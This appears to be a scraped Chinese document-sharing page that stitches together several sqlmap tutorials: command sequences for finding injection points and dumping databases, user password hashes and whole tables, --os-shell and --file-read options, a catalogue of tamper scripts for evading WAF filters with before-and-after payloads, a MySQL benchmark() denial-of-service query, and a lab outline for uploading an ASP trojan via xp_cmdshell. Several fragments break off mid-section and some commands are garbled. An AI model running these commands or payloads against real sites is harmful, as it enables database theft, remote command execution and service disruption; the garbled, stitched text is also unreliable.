【Web攻防】第二十六节 Sqlmap Tamper脚本分析(MSSQL)
- 格式:pptx
- 大小:2.33 MB
- 文档页数:12
sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。
输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。
输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。
--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。
sqlmaptamper脚本备忘录与tamper脚本编写查看sqlmap全部脚本$ python sqlmap.py --list-tampers使⽤⽅法--tamper=TAMPER2019.9更新后翻译* apostrophemask.py-⽤其UTF-8全⾓字符替换撇号(')(例如'->%EF%BC%87)* apostrophenullencode.py-⽤⾮法的双unicode替换撇号(')(例如'->%00%27)* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)* base64encode.py-Base64对给定有效载荷中的所有字符进⾏编码* between.py- 替换较⼤⽐运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'* bluecoat.py-⽤有效的随机空⽩字符替换SQL语句后的空格字符。
然后⽤运算符LIKE替换字符'='* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)* commalesslimit.py-⽤'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'* commalessmid.py-⽤'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()* concat2concatws.py-⽤'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
SQLMAP命令详解Options--version:显⽰当前sqlmap的版本号-h:显⽰帮助信息-hh:显⽰详细的帮助信息-v VERBOSE:详细级别,VERBOSE为数字,默认为1Target-d DIRECT:直接连接到数据库-u URL 或--url=URL:⽬标地址(URL)-l LOGFILE:从Burp或WebScarab代理的⽇志中解析⽬标-x SITEMAPURL:从⼀个XML⽂件中解析⽬标-m BULKFILE:扫描⽂本⽂件中的多个⽬标-r REQUESTFILE:从⽂件中导⼊HTTP请求(通常⽤于检查POST请求中的SQL注⼊)-g GOOGLEDORK:处理Google Dork的结果作为⽬标URL-c CONFIGFILE:从ini⽂件中加载选项Request--method=MEHOTD:强制指定HTTP⽅法(如PUT)--data=DATA:指定POST请求的参数--param-del=PARAMDEL:指定参数的分隔符(如:&)--cookie=COOKIE:指定HTTP请求的Cookie--cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)--load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的⽂件--drop-set-cookie:忽略返回包中的Set-Cookie字段--user-agent:指定HTTP头部的user-agent值--random-agent:设置随机的HTTP User-Agent--host=HOST:指定HTTP头部的host值--referer=REFERER:指定HTTP头部中的referer值-H=HEADER:指定HTTP其他头部信息--headers=HEADERS:指定HTTP其他头部信息--auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)--auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)--auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥⽂件--ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)--ignore-proxy:忽略系统默认代理--ignore-redirects:忽略重定向尝试--ignore-timeouts:忽略连接超时--proxy=PROXY:指定代理地址--proxy-cred=PROXYCRED:指定代理认证凭据(name:password)--proxy-file=PROXYFILE:从指定⽂件中加载代理数据--tor:使⽤tor匿名⽹络(通常需要提⾼默认的响应时长,且需要指定Tor的代理地址)--tor-port=TORPORT:设置TOR代理的端⼝(修改默认端⼝)--tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)--check-tor:检查tor能否正常使⽤--delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)--timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)--retries=RETRIES:设置连接超时重新尝试的次数(默认为3)--randomize=RPARAM:随机更改给定参数的值--safe-url=SAFEURL:指定在测试期间频繁访问的URL--safe-post=SAFEPOST:POST数据发送到安全URL--safe-req=SAFEREQ:从⽂件中加载HTTP请求--safe-freq=SAFEFREQ:在两次访问安全⽹址之间的测试请求--skip-urlencode:跳过经过URL编码的payload数据--csrf-token=CSRFTOKEN:指定CSRF-TOKEN值--csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值--force-ssl:强制使⽤SSL协议--hpp:使⽤HTTP参数pollution的⽅法--eval:评估请求之前提供Python代码Optimization-o:开启所有优化开关--predict-output:预测常见的查询输出--keep-alive:使⽤持久的HTTP(S)连接--null-connection:从没有实际的HTTP响应体中检索页⾯长度--threads=THREADS:设置请求的并发数Injection-p TESTPARAMETER:指定需要测试的参数--skip=SKIP:跳过指定参数的测试--skip-static:跳过⾮动态参数的测试--param-exclude=PARAMEXCLUDE:使⽤正则排除要测试的参数--dbms=DBMS:强制指定数据库管理系统的类型--dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password) --os=OS:指定后端DBMS的操作系统--invalid-logical:使⽤⼤数字使值⽆效--invalid-string:使⽤随机字符串使值⽆效no-cast:关闭有效载荷--no-escape:关闭字符串转义机制--prefix=PREFIX:注⼊payload字符串前缀--suffix=SUFFIX:注⼊payload字符串后缀--tamper=TAMPER:使⽤给定脚本篡改注⼊数据Detection--level=LEVEL:指定执⾏检测的等级(1-5,默认为1)--risk=RISK:指定执⾏检测的风险(1-5,默认为1)--string=STRING:查询有效时在页⾯匹配字符串--not-string=NOTSTRING:查询⽆效时在页⾯匹配字符串--regexp=REGEXP:查询有效时在页⾯匹配正则表达式--code=CODE:查询有效时匹配的HTTP返回码--text-only:基于⽂本内容⽐较⽹页--titles:基于标题⽐较⽹页Techniques--technique=TECH:指定SQL注⼊的技术(默认为BEUST)--time-sec=TIMESEC:DBMS响应的延迟时间--union-cols=UCOLS:指定UNION查询注⼊使⽤的列--union-char=UCHAR:指定暴⼒猜解列数的字符--union-from=UFROM:指定UNION查询注⼊的FROM部分使⽤的表--dns-domain=DNSDOMAIN:域名⽤于DNS漏出攻击Enumeration-a或--all:检索⼀切-b,--banner:检索数据库管理系统的标识--current-user:检索数据库管理系统的当前⽤户名--current-db:检索DBMS的当前数据库名称--hostname:检索数据库服务器的主机名--is-dba:检测DBMS当前⽤户是否为DBA--users:枚举DBMS的⽤户名--passwords:枚举DBMS⽤户密码哈希--privileges:枚举DBMS⽤户的权限--roles:枚举DBMS⽤户的⾓⾊--dbs:枚举DBMS所有的数据库名称--tables:枚举DBMS数据库中所有的表--columns:枚举DBMS数据库表中所有的列名--schema:枚举数据库架构--count:检索表的记录数--dump:转储DBMS的数据库中的表项--dump-all:转储DBMS的数据库中的所有表项--search:搜索列、表、数据库名称--commnets:检索数据库的comments-D DB:指定要枚举的数据库名称-T TBL:指定要枚举的数据表名称-C COL:指定要枚举的数据库列名-X EXCLUDECOL:指定不要枚举的数据库列名-U USER:指定要进⾏枚举的数据库⽤户名--exclude-sysdbs:枚举表时排除系统数据库--where=DUMPWHERE:使⽤WHERE条件表转储--start=LIMITSTART:第⼀个查询输出进⼊检索--stop=LIMITSTOP:最后查询的输出进⼊检索--first=FIRSTCHAR:第⼀个查询输出字的字符检索--last=LASTCHAR:最后查询的输出字字符检索--sql-query=QUERY:要执⾏的SQL语句--sql-file=SQLFILE:从给定⽂件中执⾏SQL语句1. HTTP Get请求## 指定参数和Cookiesqlmap -u "/1.php?id=1" --cookies="COOKIE" -p id## 忽略参数,指定分隔符sqlmap -u "/1.php?id=1&username=jack" --param-del=& --skip=username 2. HTTP Post请求## 直接从⽂件导⼊sqlmap -r 1.txt -p id## ⾃定义sqlmap -u "/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id ⼀般的注⼊步骤1. 检查是否存在注⼊sqlmap -r 1.txt -p id2. 简单的信息获取## 获取数据库版本信息sqlmap -r 1.txt -p id --banner## 获取当前数据库名称sqlmap -r 1.txt -p id --current-db## 获取数据库中所有数据库名称sqlmap -r 1.txt -p id --dbs## 获取数据库当前⽤户名sqlmap -r 1.txt -p id --current-user## 获取数据库所有⽤户名sqlmap -r 1.txt -p id --users## 检查数据库当前⽤户是否为DBAsqlmap -r 1.txt -p id --is-dba3. 获取数据库中的数据## 获取数据表名称sqlmap -r 1.txt -p id -D dvwa --tables## 获取数据表中的列名称sqlmap -r 1.txt -p id -D dvwa -T users --columns## 获取单个表中⾃定义列中的数据sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump## 获取单个表数据sqlmap -r 1.txt -p id -D dvwa -T users --dump## 获取单个数据库中所有表中的数据sqlmap -r 1.txt -p id -D dvwa --dumptamper介绍数据库脚本名描述举例通⽤apostrophemask.py utf8替代引号base64encode.py⽤base64编码转换multiplespaces.py围绕SQL关键字添加多个空格space2plus.py⽤+替换空格nonrecursivereplacement.py双重查询语句space2randomblank.py⽤⼀个随机的空⽩字符替换空格字符unionalltounion.py⽤UNION SELECT替换UNION ALL SELECTsecuresphere.py追加⾃定义字符串mssql space2hash.py空格替换为#号、随机字符串、换⾏符equaltolike.py LIKE替换等于号(=)space2mssqlblank.py⽤其他空符号替换空格字符space2mssqlhash.py⽤%23%0A替换空格字符between.py⽤between替换⼤于号percentage.py在每个字符前添加%sp_password.py在有效载荷后添加sp_passwordcharencode.py url编码randomcase.py随机⼤⼩写charunicodeencode.py unicode编码字符串space2comment.py⽤注释替换空格mysql equaltolike.py like代替等号(=)greatest.py绕过对⼤于号的过滤,⽤GREATEST替换⼤于号apostrophenullencode.py绕过对双引号的过滤,替换字符和双引号ifnull2ifisnull.py绕过对IFNULL的过滤,⽤IF(ISNULL(A),B,A)代替IFNULLspace2mssqlhash.py⽤%23%0A替换空格modsecurityversioned.py过滤空格,包含完整的查询版本注释space2mysqlblank.py⽤其他空⽩字符替换空格between.py⽤between替换⼤于号modsecurityzeroversioned.py包含了完整的查询与零版本注释space2mysqldash.py⽤--%0A替换空格字符bluecoat.py⽤随机空⽩字符替换空格,⽤LIKE替换等于号(=)percentage.py在每个字符前加百分号charencode.py url编码randomcase.py随机⼤⼩写versionedkeywords.py⽤版本化的MySQL注释包含每个⾮函数关键字space2comment.py⽤注释替换空格charunicodeencode.py⽤unicode编码字符串versionedmorekeywords.py⽤更多的版本化的MySQL注释包含每个⾮函数关键字halfversionedmorekeywords.py关键字前加注释space2morehash.py空格替换为#号和其他随机字符串oracle greatest.py⽤GREATEST替换⼤于号apostrophenullencode.py绕过过滤双引号,替换字符和双引号between.py⽤between替换⼤于号charencode.py url编码randomcase.py随机⼤⼩写charunicodeencode.py unicode编码space2comment.py⽤注释替换空格Access appendnullbyte.py在有效载荷结束位置加零字节字符编码脚本及功能介绍space2plus⽤+替换空格// oldselect id from users// newselect+id+from+usersspace2hash空格替换为#号(%23) 随机字符串换⾏符(%0A)// old1 and 2=2// new1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2space2morehash空格替换为#号(%23) 更多随机字符串换⾏符(%0A)// old1 and 2=2// new1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2space2mysqldash替换空格为--%0A// old1 and 2=2// new1--%0Aand--%0A2=2space2randomblank将空格替换为随机空⽩字符的字符集// oldselect id from users// newselect%0Did%0Dfrom%0Ausersspace2mssqlblank空格替换为其他空⽩字符// oldselect id from users// newselect%08id%02from%0Fusersspace2mssqlhash空格替换为%23%0A// old1 and 2=2// new1%23%0Aand%23%0A2=2space2comment空格替换为注释// oldselect id from users//newselect//id//from/**/usersbetween将⼤于号(>)替换为between// old1 and A>B// new1 and A not between 0 and Bgreatest将⼤于号(>)替换为greatest// old1 and A>B// new1 and greatest(A,B+1)=Aequaltolike将等于号(=)替换为like// oldselect * from users where id=1// newselect * from users where id like 1bluecoat将空格替换为⼀个随机的空⽩字符,同时将等于号(=)替换为like// oldselect id from users where id=1// newselect%09id from users where id like 1modsecurityversioned将空格替换为包含完整版本注释的字符串(当MySQL的版本⼤于等于指定的版本号时才会执⾏注释中的语法) // old1 and 2>1--// new1/*!30874AND 2>1*/--modsecurityzeroversioned将空格替换为包含完整版本注释与零版本注释的字符串// old1 and 2>1// new1/*!00000and 2>1*/--versionedkeywords为每个⾮函数关键字添加版本注释// old1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#// new1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#versionedmorekeywords为每个关键字添加版本注释// old1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#// new1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))# halfversionedmorekeywords为每个关键字前添加注释 /*!0// oldvalue' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa// newvalue'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa multiplespaces围绕SQL关键字添加空格// old1 union select foobar// new1 union select foobarnonrecursivereplacement双重查询语句// old1 union select 2--// new1 ununionion selselectect 2--unionalltounion将union all select替换为union select// old1 union all select// new1 union selectsecuresphere追加特制字符串// old1 and 1=1// new1 and 1=1 and 'ok'='ok'percentage每个字符前添加百分号(%)// oldselect id from users// new%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%sappendnullbyte在有效载荷末尾位置加载字节字符编码// old1 and 1=1// new1 and 1=1%00randomcase随机⼤⼩写// oldinsert// newInsErTcharencode对所有字符串进⾏url编码// oldSELECT FIELD FROM TABLE// new%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45chardoubleencode对所有字符串进⾏双重url编码// oldSELECT FIELD FROM TABLE// new%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 charunicodeencode对所有字符串进⾏unicode编码// oldSELECT FIELD FROM TABLE// new%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045 base64encode对所有字符串进⾏base64编码// old1 and 1=1#// newMSBhbmQgMT0xIw==总结空格处理space2plus.pyspace2hash.pyspace2morehash.pyspace2mysqldash.pyspace2randomblank.pyspace2mssqlblank.pyspace2mssqlhash.pyspace2comment.pymodsecurityversioned.pymodsecurityzeroversioned.py⼤于号处理between.pygreatest.py等于号处理equaltolike.pybluecoat.py引号处理apostrophemask.py:utf8替换引号apostrophenullencode.py :替换字符和双引号关键字处理versionedkeywords.pyversionedmorekeywords.pyhalfversionedmorekeywords.pymultiplespaces.py:多个关键字前加空格nonrecursivereplacement.py:双重关键字unionalltounion.py:union select替换union all selectsecuresphere.py:追加特制字符串percentage.py:每个字符前加%appendnullbyte.py:末尾添加零字节编码语句处理randomcase.py:⼤⼩写混淆charencode.py:url编码chardoublecode.py:双重url编码charunicodeencode.py:unicode编码base64encode.py:base64编码。
SQLMAP注⼊教程-11种常见SQLMAP使⽤⽅法详解⼀、SQLMAP⽤于Access数据库注⼊(1) 猜解是否能注⼊1 2win:python sqlmap.py -u "" Linux :.lmap.py -u ""(2) 猜解表1 2win:python sqlmap.py -u ""--tables Linux:.lmap.py -u ""--tables(3) 根据猜解的表进⾏猜解表的字段(假如通过2得到了admin这个表)1 2win:python sqlmap.py -u ""--columns -T admin Linux:.lmap.py -u ""--columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)1 2 3win:python sqlmap.py -u ""--dump -T admin -C "username,password" Linux:.lmap.py -u ""--dump -T admin -C"username,[url=]B[/url]password"⼆、SQLMAP⽤于Cookie注⼊(1) cookie注⼊,猜解表1win :python sqlmap.py -u ""--cookie "id=31" --table --level 2 (2) 猜解字段,(通过1的表猜解字段,假如表为admin)1 2win :python sqlmap.py -u ""--cookie "id=31" --columns -T admin --level 2(3) 猜解内容1 2win :python sqlmap.py -u ""--cookie "id=31" --dump -T admin -C "username,password"--level 2三、SQLMAP⽤于mysql中DDOS攻击(1) 获取⼀个Shell1 2 3 4win:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell Linux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输⼊执⾏语句完成DDOS攻击1select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)四、SQLMAP⽤于mysql注⼊(1) 查找数据库1python sqlmap.py -u ""--dbs(2) 通过第⼀步的数据库查找表(假如数据库名为dataname)1python sqlmap.py -u ""-D dataname --tables(3) 通过2中的表得出列名(假如表为table_name)1python sqlmap.py -u ""-D dataname -T table_name --columns(4) 获取字段的值(假如扫描出id,user,password字段)1 2python sqlmap.py -u ""-D dataname -T table_name -C "id,user,password"--dump五、SQLMAP中post登陆框注⼊(1) 其中的search-test.txt是通过抓包⼯具burp suite抓到的包并把数据保存为这个txt⽂件我们在使⽤Sqlmap进⾏post型注⼊时,经常会出现请求遗漏导致注⼊失败的情况。
SQL注入攻击的漏洞检测与防御SQL注入攻击是一种十分常见的网络攻击方式,它通过向Web应用程序提交可执行的SQL代码,从而使攻击者能够获取和修改数据库中的敏感信息。
这种攻击方式特别危险,因为它可以绕过常规的安全检测,而且即使是经验丰富的安全专家也难以完全预防。
因此,对SQL注入漏洞的检测和防御已成为网络安全工作者不可或缺的重要技能。
一、SQL注入攻击的基础知识那么,什么是SQL注入攻击呢?SQL(Structured Query Language)是一种广泛应用于数据库的编程语言,它可以被用于查询、插入、更新和删除数据库中的数据。
当Web应用程序从用户接收输入时,如果没有对输入进行充分的过滤和验证,恶意用户就有可能构造出恶意的SQL查询语句,从而绕过应用程序的安全检查,实现数据的盗取、篡改或者破坏。
例如,一个典型的SQL注入攻击可能如下所示:假设一个网站使用如下的代码处理用户的搜索关键字:`SELECT * FROM products WHERE name LIKE '%{search_term}%'`其中,`{search_term}`是用户输入的搜索关键字。
攻击者可以构造一个特定的搜索关键字,例如:`' OR 1=1 --`这个关键字包含一个单引号,一个OR运算符,一个关于真的条件,以及注释符号,它的意义如下:- 在单引号后面插入空格之后,整个语句就变成了一个合法的SQL查询代码。
- OR运算符可以绕过之前的安全检查,并将后面的查询条件视为真。
- 双减号可以使后续的任何内容都被视为注释,从而排除后续的"AND password = 123456"等安全检查。
因此,这个查询语句将会返回所有产品记录,而不是只返回与搜索关键字匹配的记录。
如果数据库中保存了用户的登录信息,攻击者也可以从中获取敏感信息,例如用户名和密码。
二、SQL注入漏洞的检测由于SQL注入攻击是一种相对简单的攻击方式,攻击者可以使用各种工具自动化生成和测试可能的注入攻击代码。
实验三渗透攻击工具测试(SQLMap)一、注入简介SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。
SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。
其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。
二、实验简介总体思路:·发现SQL注入位置;·判断后台数据库类型;·确定XP_CMDSHELL可执行情况·发现WEB虚拟目录·上传ASP木马;·得到管理员权限;三、测试(一)检测注入点是否可用1.C:\Python27\sqlmap>python sqlmap.py-u"http://192.168.1.150/products.asp?id=134"参数:-u:指定注入点url结果:注入结果展示:(1)注入参数id为GET注入,注入类型有四种分别为:boolean-based blind、error-based、stacked queries、inline query。
sqlmap工具使用方法一、什么是sqlmap工具sqlmap是一款开源的自动化SQL注入和数据库接管工具。
它能够检测和利用一些数据库漏洞,获取数据库的敏感数据,以及执行数据库指令。
通过它的强大功能,黑客可以轻松地对目标网站进行注入攻击,获取网站的敏感信息甚至控制整个数据库。
二、安装sqlmap工具1.安装Python环境sqlmap工具是基于Python开发的,所以在使用之前需要安装Python环境。
可以从官方网站()下载Python的安装包,并按照提示完成安装。
2.下载sqlmap工具在安装完成Python环境后,可以从sqlmap官方的GitHub仓库()上下载最新的代码。
也可以通过Git工具直接克隆整个仓库:git clone3.配置sqlmap工具在下载完成后,进入sqlmap工具的目录。
可以通过以下命令进行配置:python sqlmap.py --wizard这个命令将会启动sqlmap的配置向导,根据向导的提示完成配置。
三、使用sqlmap工具sqlmap工具的使用非常简单,只需要指定目标URL或者一些其他的参数,就可以进行注入测试。
下面介绍一些常用的sqlmap命令和参数。
1.基本命令python sqlmap.py -u <target> # 直接测试目标URLpython sqlmap.py -r <request> # 测试从文件中加载的请求数据python sqlmap.py -g <parameter> # 测试通过GET参数加载的请求数据python sqlmap.py -p <parameter> --crawl # 测试通过POST参数加载的请求数据,并尝试爬取更多的页面2.参数选项--dbs # 获取目标数据库中的所有数据库名-D <database> # 指定目标数据库的名字-T <table> # 指定目标数据库中的表名-C '<columns>' # 指定目标表中的列名--dump # 将指定表中的数据导出到文件--os-shell # 获取一个操作系统命令行的交互式shell3.爬虫选项--level <level> # 指定爬虫的爬行深度,默认为1--threads <thread> # 设置爬虫线程数--delay <delay> # 设置爬虫请求的时间间隔,单位为秒4.常用技巧使用sqlmap工具时,可以通过一些技巧提高注入的成功率和效率:•使用代理:通过设置代理参数(-p)将sqlmap的流量转发到代理工具如Burp Suite,可以方便地对请求数据进行分析和修改。